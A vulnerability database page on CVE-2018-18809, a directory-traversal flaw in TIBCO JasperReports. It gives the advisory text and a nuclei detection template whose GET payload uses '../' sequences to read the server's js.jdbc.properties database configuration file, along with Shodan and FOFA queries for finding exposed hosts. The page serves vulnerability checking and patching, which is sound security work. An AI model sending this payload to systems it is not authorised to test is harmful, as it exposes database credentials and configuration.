HexBrain

Browse / CVEs / CVE-2018-18809

CVE-2018-18809· tibco / jasperreports library· CWE-22

TIBCO JasperReports Library - Directory Traversal

Exploited in the wild. Listed by CISA on 2022-12-29; known to be used by ransomware.

mediumseverity
6.5CVSS score
79.1%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

The default server implementation of TIBCO Software Inc.'s TIBCO JasperReports Library, TIBCO JasperReports Library Community Edition, TIBCO JasperReports Library for ActiveMatrix BPM, TIBCO JasperReports Server, TIBCO JasperReports Server Community Edition, TIBCO JasperReports Server for ActiveMatrix BPM, TIBCO Jaspersoft for AWS with Multi-Tenancy, and TIBCO Jaspersoft Reporting and Analytics for AWS contains a directory-traversal vulnerability that may theoretically allow web server users to access contents of the host system.

Impact

An attacker can access sensitive files, potentially leading to unauthorized disclosure of sensitive information.

Fix

Apply the latest security patches or upgrade to a patched version of TIBCO JasperReports Library.

How to confirm it

Send: GET {{BaseURL}}/jasperserver-pro/reportresource/reportresource/?resource=net/sf/jasperreports/../../../../js.jdbc.properties
Positive when: contains "metadata.jdbc.driverClassName" and "metadata.hibernate.dialect" AND status 200

Run it with nuclei: nuclei -id CVE-2018-18809 -u <target>

The full check
id: CVE-2018-18809

info:
  name: TIBCO JasperReports Library - Directory Traversal
  author: DhiyaneshDK
  severity: medium
  description: |
    The default server implementation of TIBCO Software Inc.'s TIBCO JasperReports Library, TIBCO JasperReports Library Community Edition, TIBCO JasperReports Library for ActiveMatrix BPM, TIBCO JasperReports Server, TIBCO JasperReports Server Community Edition, TIBCO JasperReports Server for ActiveMatrix BPM, TIBCO Jaspersoft for AWS with Multi-Tenancy, and TIBCO Jaspersoft Reporting and Analytics for AWS contains a directory-traversal vulnerability that may theoretically allow web server users to access contents of the host system.
  impact: |
    An attacker can access sensitive files, potentially leading to unauthorized disclosure of sensitive information.
  remediation: |
    Apply the latest security patches or upgrade to a patched version of TIBCO JasperReports Library.
  reference:
    - https://packetstormsecurity.com/files/154406/Tibco-JasperSoft-Path-Traversal.html
    - https://security.elarlang.eu/cve-2018-18809-path-traversal-in-tibco-jaspersoft.html
    - https://nvd.nist.gov/vuln/detail/CVE-2018-18809
    - http://packetstormsecurity.com/files/154406/Tibco-JasperSoft-Path-Traversal.html
    - http://seclists.org/fulldisclosure/2019/Sep/17
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2018-18809
    cwe-id: CWE-22
    epss-score: 0.79064
    epss-percentile: 0.99601
    cpe: cpe:2.3:a:tibco:jasperreports_library:*:*:*:*:activematrix_bpm:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: tibco
    product: jasperreports_library
    shodan-query:
      - html:"jasperserver-pro"
      - http.html:"jasperserver-pro"
    fofa-query: body="jasperserver-pro"
  tags: cve2018,cve,packetstorm,seclists,lfi,kev,jasperserver,jasperreport,tibco,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/jasperserver-pro/reportresource/reportresource/?resource=net/sf/jasperreports/../../../../js.jdbc.properties"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "metadata.jdbc.driverClassName"
          - "metadata.hibernate.dialect"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from